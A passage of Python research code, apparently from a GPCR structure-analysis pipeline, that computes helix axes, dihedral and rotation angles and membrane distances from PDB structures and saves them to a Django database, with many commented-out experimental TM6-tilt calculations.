moving_average(h[:,1], 7), moving_average(h[:,2], 7)))) a = np.concatenate((h_middle[(0,0,0),:], h_middle, h_middle[(-1,-1,-1),:])) # b = p.transform(h) # b[:,1:] = p.transform(a)[:,1:] # b = p.inverse_transform(b) # TODO cleanup helper_lines = a - np.roll(a,-1,0) helper_lines[-1] = a[-1] - a[-5] helper_lines[-2] = helper_lines[-1] helper_lines[-3] = helper_lines[-1] helper_lines[-4] = helper_lines[-1] helper_lines[0] = a[0] - a[4] helper_lines[1] = helper_lines[0] helper_lines[2] = helper_lines[0] helper_lines[3] = helper_lines[0] helper_lines = np.array([ line/np.linalg.norm(line) for line in helper_lines]) # loop over points #c = np.round([ a[idx] + np.dot(h_ca - a[idx], helper_lines[idx]) * helper_lines[idx] for idx, h_ca in enumerate(h)],3) c = [ a[idx] + np.dot(h_ca - a[idx], helper_lines[idx]) * helper_lines[idx] for idx, h_ca in enumerate(h)] # return b return c def axes_calc(h,p,pca): """ Calculate the orthogonal projection of the CA to the helix axis which is moved to the mean of three consecutive amino acids """ # Running average - over 3 residues at a same time #a = (np.roll(np.vstack((h,h[0])),1,axis=0)[:-1] + h + np.roll(np.vstack((h,h[-1])),-1,axis=0)[:-1])/3 # Running average - over 7 residues at a same time h_middle = np.transpose(np.stack((moving_average(h[:,0], 7), moving_average(h[:,1], 7), moving_average(h[:,2], 7)))) a = np.concatenate((h_middle[(0,0,0),:], h_middle, h_middle[(-1,-1,-1),:])) # PCA transform moved to running average # b = p.transform(h) # b[:,1:] = p.transform(a)[:,1:] # b = p.inverse_transform(b) # Use reference of 7 average as placement point # TODO cleanup helper_lines = a - np.roll(a,-1,0) helper_lines[-1] = a[-1] - a[-5] helper_lines[-2] = helper_lines[-1] helper_lines[-3] = helper_lines[-1] helper_lines[-4] = helper_lines[-1] helper_lines[0] = a[0] - a[4] helper_lines[1] = helper_lines[0] helper_lines[2] = helper_lines[0] helper_lines[3] = helper_lines[0] helper_lines = np.array([ line/np.linalg.norm(line) for line in helper_lines]) # loop over points # b = np.round([ a[idx] + np.dot(h_ca - a[idx], helper_lines[idx]) * helper_lines[idx] for idx, h_ca in enumerate(h)],3) b = [ a[idx] + np.dot(h_ca - a[idx], helper_lines[idx]) * helper_lines[idx] for idx, h_ca in enumerate(h)] # count=0 # for row in h: # count += 1 # print("pseudo orig" + str(count) ,", pos=[", row[0], ",", row[1], ",", row[2] ,"];") # # count=0 # for row in b: # count += 1 # print("pseudo line" + str(count) ,", pos=[", row[0], ",", row[1], ",", row[2] ,"];") # # print("hide everything") # print("set sphere_scale, .5") # print("show spheres, fake*") # print("show spheres, orig*") # print("show spheres, line*") # print("color red, line*") # print("color cyan, fake*") # exit(0) return calc_angle(pca.transform(b),pca.transform(h)) def moving_average(a, n=3) : ret = np.cumsum(a, dtype=float) ret[n:] = ret[n:] - ret[:-n] return ret[n - 1:] / n def set_bfactor(chain,angles): """ simple helper to set the bfactor of all residues by some value of a list """ for r,an in zip(chain.get_list(),angles): for a in r: a.set_bfactor(an) def qgen(x, qset): """ Helper function to slice a list of all residues of a protein of the list of the residues of all proteins """ start = False for i in range(len(qset)-1,0,-1): if not start and qset[i].protein_conformation.protein == x: start = i if start and qset[i].protein_conformation.protein != x: if start != len(qset)-1: del qset[start+1:] return qset[i+1:] return qset[i+1:] del qset[start+1:] return qset def calculate_missing_atoms(poly): """ Helper function to calculate missing atoms for all residues in poly """ # loop over each residue for r in poly: # store missing atoms in residue annotations if r.resname in residue_atom_names: r.xtra["MISSING"] = sum([0 if atom in r else 1 for atom in residue_atom_names[r.resname]]) def calculate_chi_angles(poly): """ Helper function to calculate all chi angles for all residues in poly """ # loop over each residue for r in poly: # check for all chi_atoms if residue is present - chi_angles = [None] * 5 for chi_index in range(1,6): if r.resname in chi_atoms["chi" + str(chi_index)]: try: atom_list = chi_atoms["chi" + str(chi_index)][r.resname] vec_atoms = [r[a] for a in atom_list] except KeyError: continue vectors = [a.get_vector() for a in vec_atoms] chi_angles[chi_index-1] = round(np.rad2deg(Bio.PDB.vectors.calc_dihedral(*vectors)),3) # store in residue annotations r.xtra["CHI"] = chi_angles.copy() ####################################################################### ######################### Start of main loop ########################## ####################################################################### failed = [] dblist = [] # Get all structures #references = Structure.objects.filter(protein_conformation__protein__family__slug__startswith="001").prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') #references = Structure.objects.all().prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') # DEBUG for a specific PDB #references = Structure.objects.filter(pdb_code__index="6AK3").prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') # references = list(references) references = self.references pids = [ref.protein_conformation.protein.id for ref in references] qset = Residue.objects.filter(protein_conformation__protein__id__in=pids) if GN_only: qset = qset.filter(generic_number__label__regex=r'^[1-7]x[0-9]+').order_by('-protein_conformation__protein','-generic_number__label') else: qset = qset.order_by('-protein_conformation__protein','-generic_number__label') qset = list(qset.prefetch_related('generic_number', 'protein_conformation__protein','protein_conformation__state')) res_dict = {ref.pdb_code.index:qgen(ref.protein_conformation.protein,qset) for ref in references} # clean structure vectors table # StructureVectors.objects.all().delete() ####################################################################### ######################### Start of main loop ########################## ####################################################################### angle_dict = [{},{},{},{}] median_dict = [{},{},{},{}] #for reference in references: while count.value<len(references): with lock: if count.value<len(references): reference = references[count.value] count.value +=1 else: break preferred_chain = reference.preferred_chain.split(',')[0] pdb_code = reference.pdb_code.index # print(pdb_code) try: structure = self.load_pdb_var(pdb_code,reference.pdb_data.pdb) pchain = structure[0][preferred_chain] state_id = reference.protein_conformation.state.id # DSSP filename = "{}_temp.pdb".format(pdb_code) pdbio = Bio.PDB.PDBIO() pdbio.set_structure(pchain) pdbio.save(filename, NonHetSelect()) if os.path.exists("/env/bin/dssp"): dssp = Bio.PDB.DSSP(structure[0], filename, dssp='/env/bin/dssp') elif os.path.exists("/env/bin/mkdssp"): dssp = Bio.PDB.DSSP(structure[0], filename, dssp='/env/bin/mkdssp') elif os.path.exists("/usr/local/bin/mkdssp"): dssp = Bio.PDB.DSSP(structure[0], filename, dssp='/usr/local/bin/mkdssp') # DISABLED STRIDE - selected DSSP 3 over STRIDE # try: # if os.path.exists("/env/bin/stride"): # stride = subprocess.Popen(['/env/bin/stride', filename], stdout=subprocess.PIPE) # # Grab SS assignment (ASG) and parse residue (cols 12-15) and SS (cols 25-25) # for line in io.TextIOWrapper(stride.stdout, encoding="utf-8"): # if line.startswith("ASG"): # res_id = int(line[11:15].strip()) # res_ss = line[24:25].strip() # # assign to residue # pchain[res_id].xtra["SS_STRIDE"] = res_ss.upper() # except OSError: # print(pdb_code, " - STRIDE ERROR - ", e) # CLEANUP os.remove(filename) ####################################################################### ###################### prepare and evaluate query ##################### db_reslist = res_dict[pdb_code] gn_reslist = [] tm_reslist = [] for i in db_reslist: if i.generic_number: gn_reslist.append(i) if re.match(r'^[1-7]x[0-9]+', i.generic_number.label): tm_reslist.append(i) full_resdict = {str(r.sequence_number):r for r in db_reslist} ####################################################################### ######################### filter data from db ######################### def reslist_gen(x): try: while tm_reslist[-1].generic_number.label[0] == x: yield tm_reslist.pop() except IndexError: pass # Fix IDs matching for handling PTM-ed residues ids_in_pchain = [] for residue in pchain: if residue.id[1] not in pchain: residue.id = (' ', residue.id[1], ' ') # when gdict is not needed the helper can be removed db_helper = [[(r,r.sequence_number) for r in reslist_gen(x) if r.sequence_number in pchain] for x in ["1","2","3","4","5","6","7"]] gdict = {r[1]:r[0] for hlist in db_helper for r in hlist} tm_keys = [r[1] for hlist in db_helper for r in hlist] tm_keys_str = [str(i) for i in tm_keys] tm_keys_int = [int(i) for i in tm_keys] db_tmlist = [[(' ',r[1],' ') for r in sl] for sl in db_helper] db_set = set(db_tmlist[0]+db_tmlist[1]+db_tmlist[2]+db_tmlist[3]+db_tmlist[4]+db_tmlist[5]+db_tmlist[6]) ####################################################################### ##################### Angles/dihedrals residues ####################### #for line in pdblines_temp: #Get rid of all odd records #polychain = [ residue for residue in pchain if Bio.PDB.Polypeptide.is_aa(residue) and "CA" in residue] polychain = [ residue for residue in pchain if (Bio.PDB.Polypeptide.is_aa(residue) or residue.resname in ['YCM','CSD','TYS','SEP']) and "CA" in residue] poly = Bio.PDB.Polypeptide.Polypeptide(polychain) # Calculate backbone and sidechain dihedrals + missing atoms poly.get_phi_psi_list() # backbone dihedrals calculate_chi_angles(poly) # calculate chi1-chi5 calculate_missing_atoms(poly) # calculate missing # Possibly only relevant for helices? poly.get_theta_list() # angle three consecutive Ca atoms poly.get_tau_list() # dihedral four consecutive Ca atoms ### DEPRECATED: clean the structure to solely the 7TM bundle #recurse(structure, [[0], preferred_chain, db_set]) ### NEW: clean the structure to all protein residues in DB db_fullset = set([(' ',r.sequence_number,' ') for r in db_reslist]) recurse(structure, [[0], preferred_chain, db_fullset]) dihedrals = {} for r in poly: angle_list = ["PHI", "PSI", "THETA", "TAU", "SS_DSSP", "SS_STRIDE", "CHI", "MISSING"] for angle in angle_list: if angle not in r.xtra: r.xtra[angle] = None # Add outer angle outer = None try: angle_atoms = [r[a].get_vector() for a in ['N','CA', outerAtom[r.resname]]] # use pseudo CB placement when glycine (or in case of missing CB) #if r.resname == 'GLY': if 'CB' not in r: angle_atoms[2] = Bio.PDB.vectors.Vector(*cal_pseudo_CB(r)) outer = Bio.PDB.calc_angle(*angle_atoms) except Exception as e: # print(pdb_code, " - OUTER ANGLE ERROR - ", e) outer = None # Add tau (N-Ca-C) backbone angle (in addition to the tau dihedral) tau_angles = None try: angle_atoms = [r[a].get_vector() for a in ['N','CA', 'C']] tau_angles = Bio.PDB.calc_angle(*angle_atoms) except Exception as e: # print(pdb_code, " - TAU ANGLE ERROR - ", e) tau_angles = None dihedrals[str(r.id[1])] = [r.xtra["PHI"], r.xtra["PSI"], r.xtra["THETA"], r.xtra["TAU"], r.xtra["SS_DSSP"], r.xtra["SS_STRIDE"], outer, tau_angles, r.xtra["CHI"], r.xtra["MISSING"]] # Extra: remove hydrogens from structure (e.g. 5VRA) for residue in structure[0][preferred_chain]: for id in [atom.id for atom in residue if atom.element == "H"]: residue.detach_child(id) # List of CA coordinates for all residues with GN for distances gn_res_gns = [res.generic_number.label for res in gn_reslist] gn_res_ids = [res.sequence_number for res in gn_reslist] # Order by GNs # QUICK HACK: to be cleaned up and simplified gns_order = [] for gn in gn_res_gns: part1, part2 = gn.split("x") multiply1 = 10000 if len(part1)>=2: multiply1 = 1000 multiply2 = 1 if (len(part2))<=2: multiply2 = 10 gns_order.append(int(part1)*multiply1 + int(part2)*multiply2) gns_ids_list = [gn_res_ids[key] for key in np.argsort(gns_order)] #gn_res_gns = [gn_res_gns[key] for key in np.argsort(gns_order)] #gns_ca_list = {resid:pchain[resid]["CA"].get_coord() for resid in gns_ids_list if resid in pchain} gns_ca_list = {residue.id[1]:residue["CA"].get_coord() for residue in poly if residue.id[1] in gns_ids_list} #gns_cb_list = {resid:np.asarray(pchain[resid]["CB"].get_coord() if "CB" in pchain[resid] else cal_pseudo_CB(pchain[resid]), dtype=float) for resid in gns_ids_list if resid in pchain} gns_cb_list = {residue.id[1]:np.asarray(residue["CB"].get_coord() if "CB" in residue else cal_pseudo_CB(residue), dtype=float) for residue in poly if residue.id[1] in gns_ids_list} ### AXES through each of the TMs and the TM bundle (center axis) hres_list = [np.asarray([pchain[r]["CA"].get_coord() for r in sl], dtype=float) for sl in db_tmlist] #h_cb_list = [np.asarray([pchain[r]["CB"].get_coord() if "CB" in pchain[r] else cal_pseudo_CB(pchain[r]) for r in sl], dtype=float) for sl in db_tmlist] h_cb_list = [[gns_cb_list[r[1]] for r in sl] for sl in db_tmlist] # fast and fancy way to take the average of N consecutive elements N = 3 hres_three = np.asarray([sum([h[i:-(len(h) % N) or None:N] for i in range(N)])/N for h in hres_list]) ### PCA - determine axis through center + each transmembrane helix helix_pcas = [PCA() for i in range(7)] helix_pca_vectors = [pca_line(helix_pcas[i], h,i%2) for i,h in enumerate(hres_three)] # Calculate PCA based on the upper (extracellular) half of the GPCR (more stable, except class B) pca = PCA() pos_list = [] if extra_pca: minlength = 100 for i,h in enumerate(hres_three): if len(h)<minlength: minlength = len(h) if minlength > 6: minlength = 6 # create PCA per helix using extracellular half # Exclude the first turn if possible (often still part of loop) for i,h in enumerate(hres_three): if i%2: # reverse directionality of even helices (TM2, TM4, TM6) h = np.flip(h, 0) if len(h)>minlength+2: pos_list.append(pca_line(PCA(), h[2:minlength+2])) else: pos_list.append(pca_line(PCA(), h[0:minlength])) # create fake coordinates along each helix PCA to create center PCA # UGLY hack - should be cleaned up coord_list = [] for pos in pos_list: start = pos[0] vector = pos[1]-pos[0] line_points = [] for i in range(-45,55): line_points.append(start+i*vector) coord_list.append(line_points) center_vector = pca_line(pca, np.vstack(coord_list)) else: # Create PCA line through whole helix # NOTE: much less robust with differing TM lengths, bends, kinks, etc. center_vector = pca_line( pca, np.vstack(hres_three)) # DEBUG print arrow for PyMol # a = [str(i) for i in center_vector[0]] # b = [str(i) for i in center_vector[1]] # print("cgo_arrow [" + a[0] + ", " + a[1] + ", " + a[2] + "], [" + b[0] + ", " + b[1] + ", " + b[2] + "]") # Measure level of activation by TM6 tilt # Residue most often found at kink start # TODO: check for numbering at other classes # kink_start = 44 # general class A number 6x44 seems quite conserved to be the kink start # Select all residues before indicated residue # lower_tm6 = [] # kink_start_res = None # kink_measure = None # for res in db_tmlist[5]: # gnlabel = gdict[res[1]].generic_number.label # if int(gnlabel.replace("6x","")) <= kink_start: # lower_tm6.append(pchain[res]["CA"].get_coord()) # if int(gnlabel.replace("6x","")) == kink_start: # kink_start_res = pchain[res]["CA"].get_coord() # if int(gnlabel.replace("6x","")) == 38: # kink_measure = pchain[res]["CA"].get_coord() # # lower_tm6 = np.asarray(lower_tm6) # TM2 intracellular for comparison # lower_tm2 = [] # ref_tm2 = None # for res in db_tmlist[1]: # gnlabel = gdict[res[1]].generic_number.label # gn_id = int(gnlabel.replace("2x","")) # if gn_id >= 40 and gn_id <= 50: # Lower well-defined half of TM2 # lower_tm2.append(pchain[res]["CA"].get_coord()) # if gn_id == 41: # ref_tm2 = pchain[res]["CA"].get_coord() # lower_tm2 = np.asarray(lower_tm2) # posb_list = [] # # create PCA per helix using full helix # for i,h in enumerate(hres_three): # if i%2: # reverse directionality of even helices (TM2, TM4, TM6) # h = np.flip(h, 0) # posb_list.append(pca_line(PCA(), h)) # NOTE: Slight variations between the mid membrane residues can have a strong affect on the plane # For now just use a single residue to deduce the mid membrane height (next code) # if len(kink_measure) == 3: # # Use membrane middle references 1x44 - 2x52 - 4x54 # membrane_mid = [] # for res in gdict: # if gdict[res].generic_number.label in ["1x44", "2x52", "4x54"]: # membrane_mid.append(pchain[res]["CA"].get_coord()) # # if len(membrane_mid) == 3: # v1 = membrane_mid[1] - membrane_mid[0] # v2 = membrane_mid[2] - membrane_mid[0] # plane_normal = np.cross(v1 / np.linalg.norm(v1), v2 / np.linalg.norm(v2)) # plane_normal = plane_normal / np.linalg.norm(plane_normal) # # rayDirection = center_vector[1] - center_vector[0] # ndotu = plane_normal.dot(rayDirection) # w = center_vector[0] - membrane_mid[0] # si = -plane_normal.dot(w) / ndotu # membrane_point = w + si * rayDirection + membrane_mid[0] # # # calculate distances to this point # midpoint_distances = np.round([ np.linalg.norm(membrane_point-ca) for helix in hres_list for ca in helix ],3) # Find 5x46 (residue at membrane middle) membrane_mid = None for res in db_tmlist[4]: gnlabel = gdict[res[1]].generic_number.label if gnlabel == "5x46": membrane_mid = pchain[res]["CA"].get_coord() break # Calculate distances to the mid of membrane plane if len(membrane_mid) == 3: # 1. Find intersect of membrane mid with 7TM axis (project point to plane) membrane_mid_pca = pca.transform([membrane_mid]) membrane_mid_pca[0,1:3] = 0 # project onto the same axis membrane_point = pca.inverse_transform(membrane_mid_pca) plane_normal = membrane_point - center_vector[1] plane_normal = plane_normal / np.linalg.norm(plane_normal) # calculate distances to the mid of membrane plane mid_membrane_distances = np.round([ np.dot(ca - membrane_point[0], plane_normal[0]) for helix in hres_list for ca in helix ],3) # calculate distances to the midpoint midpoint_distances = np.round([ np.linalg.norm(membrane_point[0]-ca) for helix in hres_list for ca in helix ],3) # TM6 tilt with respect to 7TM bundle axis and plane through 6x44 # if len(lower_tm6) >= 3 and len(membrane_mid) == 3: # # Take the average of N consecutive elements # tm6_lower_three = sum([lower_tm6[i:-(len(lower_tm6) % N) or None:N] for i in range(N)])/N # if len(tm6_lower_three) > 2: # tm6_pca_vector = pca_line(PCA(), tm6_lower_three, 1) # else: # tm6_pca_vector = pca_line(PCA(), lower_tm6, 1) # # # 1. Find intersect of membrane mid with 7TM axis (project point to plane) # membrane_mid_pca = pca.transform([membrane_mid]) # membrane_mid_pca[0,1:3] = 0 # project onto the same axis # midpoint = pca.inverse_transform(membrane_mid_pca) # Distance TM2-3-4-5-6-7 at height of 6x38 using Mid membrane as plane # if len(kink_measure) == 3: # # 1x44 - 2x52 - 4x54 # membrane_mid = [] # for res in gdict: # if gdict[res].generic_number.label in ["1x44", "2x52", "4x54"]: # membrane_mid.append(pchain[res]["CA"].get_coord()) # # if len(membrane_mid) == 3: # v1 = membrane_mid[1] - membrane_mid[0] # v2 = membrane_mid[2] - membrane_mid[0] # plane_normal = np.cross(v1 / np.linalg.norm(v1), v2 / np.linalg.norm(v2)) # planeNormal = plane_normal / np.linalg.norm(plane_normal) # # points = [] # for i in [1,2,4,5,6]: # TM number - 1 # rayDirection = posb_list[i][1] - posb_list[i][0] # ndotu = planeNormal.dot(rayDirection) # w = posb_list[i][0] - kink_measure # si = -planeNormal.dot(w) / ndotu # intersect = w + si * rayDirection + kink_measure # points.append(intersect) # # distance = 0 # last = points[len(points)-1] # for point in points: # distance += np.linalg.norm(last - point) # last = point # # print("MIDMEM DISTANCE {} {}".format(pdb_code, distance)) # #reference.tm6_angle = distance # #reference.save() # Distance based on distance pairs # if len(kink_measure) == 3: # # 1x50 2x41 3x26 4x42 5x42 6x37 7x49 # points = [] # for gn in ["1x50", "2x41", "3x26", "4x42", "5x42", "6x37", "7x49"]: # res = [key for (key, value) in gdict.items() if value.generic_number.label == gn] # if len(res) > 0: # points.append(pchain[res[0]]["CA"].get_coord()) # # if len(points) != 7: # continue # # distance = 0 # last = points[len(points)-1] # for point in points: # distance += np.linalg.norm(last - point) # last = point # # print("PAIRS DISTANCE {} {}".format(pdb_code, distance)) # Distances between TM points # if len(kink_measure) == 3: # minlength = 100 # posb_list = [] # # # create PCA per helix using full helix # for i,h in enumerate(hres_three): # if i%2: # reverse directionality of even helices (TM2, TM4, TM6) # h = np.flip(h, 0) # # posb_list.append(pca_line(PCA(), h)) # # points = [] # for i in range(7): # TM number - 1 # rayDirection = posb_list[i][1] - posb_list[i][0] # ndotu = planeNormal.dot(rayDirection) # w = pos_list[i][0] - kink_measure # si = -planeNormal.dot(w) / ndotu # intersect = w + si * rayDirection + kink_measure # points.append(intersect) # # # hstr = "" # dstr = "" # for i in range(len(points)): # for j in range(i+1,len(points)): # hstr += "," + str(i+1) + "x" + str(j+1) # dstr += "," + str(np.linalg.norm(points[i] - points[j])) # # print("HEADER {}".format(hstr)) # print(pdb_code + dstr) #print("REFERENCE {} {}".format(pdb_code, distance)) # Distance TM2-3-4-5-6-7 at height of 6x38 using TM bundle axis as plane normal # if len(kink_measure) == 3: # planeNormal = center_vector[0]-center_vector[1] # # points = [] # for i in [1,2,4,5,6]: # TM number - 1 # rayDirection = posb_list[i][1] - posb_list[i][0] # ndotu = planeNormal.dot(rayDirection) # w = posb_list[i][0] - kink_measure # si = -planeNormal.dot(w) / ndotu # intersect = w + si * rayDirection + kink_measure # points.append(intersect) # # distance = 0 # last = points[len(points)-1] # for point in points: # distance += np.linalg.norm(last - point) # last = point # # print("BUNDLEAXIS DISTANCE {} {}".format(pdb_code, distance)) # #reference.tm6_angle = distance # #reference.save() # #print("REFERENCE {} {}".format(pdb_code, distance)) # TM6 tilt compared to lower TM2 using pca vectors # if len(lower_tm6) >= 3 and len(lower_tm2) >= 3: # # Take the average of N consecutive elements of TM2 # tm2_lower_three = sum([lower_tm2[i:-(len(lower_tm2) % N) or None:N] for i in range(N)])/N # if len(tm2_lower_three) > 2: # tm2_pca_vector = pca_line(PCA(), tm2_lower_three, 1) # else: # tm2_pca_vector = pca_line(PCA(), lower_tm2, 1) # # # Take the average of N consecutive elements of TM6 # tm6_lower_three = sum([lower_tm6[i:-(len(lower_tm6) % N) or None:N] for i in range(N)])/N # if len(tm6_lower_three) > 2: # tm6_pca_vector = pca_line(PCA(), tm6_lower_three, 1) # else: # tm6_pca_vector = pca_line(PCA(), lower_tm6, 1) # # membrane_mid_pca = pca.transform([membrane_mid]) # membrane_mid_pca[0,1:3] = 0 # project onto the same axis # midpoint = pca.inverse_transform(membrane_mid_pca)[0] # # # # Project pca vector onto plane to TM2 # # Find normal of the plane through Axis and 2x41 # v1 = center_vector[1] - midpoint # v2 = ref_tm2 - midpoint # plane_normal = np.cross(v1 / np.linalg.norm(v1), v2 / np.linalg.norm(v2)) # plane_normal = plane_normal / np.linalg.norm(plane_normal) # # # Find projected tm6 angle to plane # displaced_point = tm6_pca_vector[1] - tm6_pca_vector[0] # dist = np.dot(displaced_point, plane_normal) # proj_point = (midpoint+displaced_point) - dist*plane_normal # tm6_tilt_proj = proj_point - midpoint # # tm6_tilt_proj = tm6_tilt_proj/np.linalg.norm(tm6_tilt_proj) # # # Find projected tm2 angle to plane # displaced_point = tm2_pca_vector[1] - tm2_pca_vector[0] # dist = np.dot(displaced_point, plane_normal) # proj_point = (midpoint[0]+displaced_point) - dist*plane_normal # tm2_tilt_proj = proj_point - midpoint[0] # # tm2_tilt_proj = tm2_tilt_proj/np.linalg.norm(tm2_tilt_proj) # # # angle between these vectors # tm6_angle = np.arccos(np.dot(tm6_tilt_proj, tm2_tilt_proj)/(np.linalg.norm(tm6_tilt_proj)*np.linalg.norm(tm2_tilt_proj))) # print("REFERENCE {} {}".format(pdb_code, np.degrees(tm6_angle))) # # # Store as structure property # reference.tm6_angle = np.degrees(tm6_angle) # reference.save() # # Angle of 6x38 to 2x41 via midpoint in membrane # if len(ref_tm2) == 3 and len(kink_start_res) == 3: # membrane_mid_pca = pca.transform([membrane_mid]) # membrane_mid_pca[0,1:3] = 0 # project onto the same axis # midpoint = pca.inverse_transform(membrane_mid_pca) # # v1 = ref_tm2 - midpoint[0] # v2 = kink_start_res - midpoint[0] # # # angle between these vectors # tm6_angle = np.arccos(np.dot(v1, v2)/(np.linalg.norm(v1)*np.linalg.norm(v2))) # print(np.degrees(tm6_angle)) # # # Store as structure property # reference.tm6_angle = np.degrees(tm6_angle) # reference.save() # TM6 tilt compared to lower TM2 using pca vectors # if len(lower_tm6) >= 3 and len(lower_tm2) >= 3: # # Take the average of N consecutive elements of TM2 # tm2_lower_three = sum([lower_tm2[i:-(len(lower_tm2) % N) or None:N] for i in range(N)])/N # if len(tm2_lower_three) > 2: # tm2_pca_vector = pca_line(PCA(), tm2_lower_three, 1) # else: # tm2_pca_vector = pca_line(PCA(), lower_tm2, 1) # # # Take the average of N consecutive elements of TM6 # tm6_lower_three = sum([lower_tm6[i:-(len(lower_tm6) % N) or None:N] for i in range(N)])/N # if len(tm6_lower_three) > 2: # tm6_pca_vector = pca_line(PCA(), tm6_lower_three, 1) # else: # tm6_pca_vector = pca_line(PCA(), lower_tm6, 1) # # # angle between these vectors # tm6_angle = np.arccos(np.clip(np.dot(tm6_pca_vector[1]-tm6_pca_vector[0], tm2_pca_vector[1]-tm2_pca_vector[0]), -1.0, 1.0)) # print(tm6_angle) # # # Store as structure property # reference.tm6_angle = np.degrees(tm6_angle) # reference.save() # TM6 tilt with respect to 7TM bundle axis and plane through 6x44 # if len(lower_tm6) >= 3 and len(membrane_mid) == 3: # # Take the average of N consecutive elements # tm6_lower_three = sum([lower_tm6[i:-(len(lower_tm6) % N) or None:N] for i in range(N)])/N # if len(tm6_lower_three) > 2: # tm6_pca_vector = pca_line(PCA(), tm6_lower_three, 1) # else: # tm6_pca_vector = pca_line(PCA(), lower_tm6, 1) # # # 1. Find intersect of membrane mid with 7TM axis (project point to plane) # membrane_mid_pca = pca.transform([membrane_mid]) # membrane_mid_pca[0,1:3] = 0 # project onto the same axis # midpoint = pca.inverse_transform(membrane_mid_pca) # # # 2. Find normal of plane through origin, kink start and project kink start # # A) Find projected point of kink_start # kink_start_res_pca = pca.transform([kink_start_res]) # kink_start_res_pca[0,1:3] = 0 # project onto the same axis # kink_start_proj = pca.inverse_transform(kink_start_res_pca) # # # B) Find normal of the new plane through kink start # v1 = kink_start_res - center_vector[0] # v2 = kink_start_proj - center_vector[0] # plane_normal = np.cross(v1 / np.linalg.norm(v1), v2 / np.linalg.norm(v2))[0] # plane_normal = plane_normal / np.linalg.norm(plane_normal) # # # C) Find projected tm6 angle to plane # displaced_point = tm6_pca_vector[1] - tm6_pca_vector[0] # dist = np.dot(displaced_point, plane_normal) # proj_point = (center_vector[0]+displaced_point) - dist*plane_normal # tm6_tilt_proj = proj_point - center_vector[0] # # # Calculate angle between vectors # tm6_angle = np.arccos(np.dot(tm6_tilt_proj,center_vector[1]-center_vector[0])/(np.linalg.norm(tm6_tilt_proj)*np.linalg.norm(center_vector[1]-center_vector[0]))) # # # Check change in distance for projected angle point on tm axis # # distance increased? -> negative angle - distance decreased -> positive angle # distance_kink_start = np.linalg.norm(kink_start_res - center_vector[0]) # # # VERIFY: not sure if correct # dist = np.dot(tm6_tilt_proj, center_vector[1] - center_vector[0]) # proj_proj_tilt_point = (center_vector[0]+tm6_tilt_proj) - dist*(center_vector[1] - center_vector[0]) # distance_tilt = np.linalg.norm(kink_start_res - proj_proj_tilt_point) # if (distance_tilt-distance_kink_start) > 0: # tm6_angle = -1*tm6_angle # # # Store as structure property # reference.tm6_angle = np.degrees(tm6_angle) # reference.save() # TM6 tilt with respect to 7TM bundle axis # if len(lower_tm6) >= 3: # # Take the average of N consecutive elements # tm6_lower_three = sum([lower_tm6[i:-(len(lower_tm6) % N) or None:N] for i in range(N)])/N # if len(tm6_lower_three) > 2: # tm6_pca_vector = pca_line(PCA(), tm6_lower_three, 1) # else: # tm6_pca_vector = pca_line(PCA(), lower_tm6, 1) # # # Calculate angle between vectors # tm6_angle = np.arccos(np.clip(np.dot(tm6_pca_vector[1]-tm6_pca_vector[0], center_vector[1]-center_vector[0]), -1.0, 1.0)) # # cen_tm6 = center_vector[0]+(tm6_pca_vector[1]-tm6_pca_vector[0]) # print("pseudoatom center1, pos=[{},{},{}]".format(center_vector[0][0],center_vector[0][1],center_vector[0][2])) # print("pseudoatom center2, pos=[{},{},{}]".format(center_vector[1][0],center_vector[1][1],center_vector[1][2])) # print("pseudoatom cen_tm6, pos=[{},{},{}]".format(cen_tm6[0],cen_tm6[1],cen_tm6[2])) # # # Check distance - closer to axis - negative angle - further away - positive angle # tm6_inward = ca_distance_calc(np.asarray([tm6_pca_vector[1]]),pca) - ca_distance_calc(np.asarray([tm6_pca_vector[0]]),pca) # print(np.degrees(tm6_angle)) # # if tm6_inward < 0: # tm6_angle = -1*tm6_angle # # # Store as structure property # reference.tm6_angle = np.degrees(tm6_angle) # reference.save() c_vector = np.array2string(center_vector[0] - center_vector[1], separator=',') translation = np.array2string(-1*center_vector[0], separator=',') StructureVectors.objects.filter(structure = reference).all().delete() sv = StructureVectors(structure = reference, translation = str(translation), center_axis = str(c_vector)) sv.save() # TODO: # FIX RESIDUE ORDER # FIX requirement checking ### DISTANCES - moved here from cube # REMOVE OLD distances # Distance.objects.filter(structure=reference).all().delete() # Perpendicular projection of Ca onto helical PCA h_center_list = np.concatenate([center_coordinates(h,p,pca) for h,p in zip(hres_list,helix_pcas)]) gns_center_list = dict(zip(tm_keys_int, h_center_list)) # New rotation angle # Angle between normal from center axis to 1x46 and normal from helix axis to CA key_tm1 = gn_res_ids[gn_res_gns.index("1x46")] ref_tm1 = gns_center_list[key_tm1] # print(gns_order) # print(np.argsort(gns_order)) # print(gn_res_gns) # print(gn_res_ids) # print(key_tm1) # Project 1x46 onto center axis axis_vector = (center_vector[0] - center_vector[1])/np.linalg.norm(center_vector[0] - center_vector[1]) center_tm1 = center_vector[0] + np.dot(ref_tm1 - center_vector[0], axis_vector) * axis_vector tm1_vector = (center_tm1 - ref_tm1)/np.linalg.norm(center_tm1 - ref_tm1) # Calculate CA to helix center vectors ca_center_vectors = {resid:(gns_ca_list[resid] - gns_center_list[resid])/np.linalg.norm(gns_ca_list[resid] - gns_center_list[resid]) for resid in gns_center_list } # Calculate rotation angles rotation_angles = { resid:np.rad2deg(np.arccos(np.dot(tm1_vector, ca_center))) for resid, ca_center in ca_center_vectors.items() } # Rotate tm1_vector by 90 degrees and then check the angles again - if angle gets larger -> 360 - angle otherwise ok rotation_vector = np.radians(90) * axis_vector rotation = R.from_rotvec(rotation_vector) rotated_tm1_vector = rotation.apply(tm1_vector) rotation_angles_ref = { resid:np.rad2deg(np.arccos(np.dot(rotated_tm1_vector, ca_center))) for resid, ca_center in ca_center_vectors.items() } # Make key a string to match with other dictionaries rotation_angles = {str(resid):(round(rotation_angles[resid],3) if rotation_angles_ref[resid] - rotation_angles[resid] < 0 else round(360 - rotation_angles[resid],3)) for resid in rotation_angles } # Making the rotation angle compliant with the other angles (-180 to 180 degrees) rotation_angles = {resid:rotation_angles[resid]-180 for resid in rotation_angles } # print(pdb_code, "1x45", rotation_angles[str(gn_res_ids[gn_res_gns.index("1x45")])], "and 1x47", rotation_angles[str(gn_res_ids[gn_res_gns.index("1x47")])]) # print("pseudo center, pos=[", ref_tm1[0], ",", ref_tm1[1], 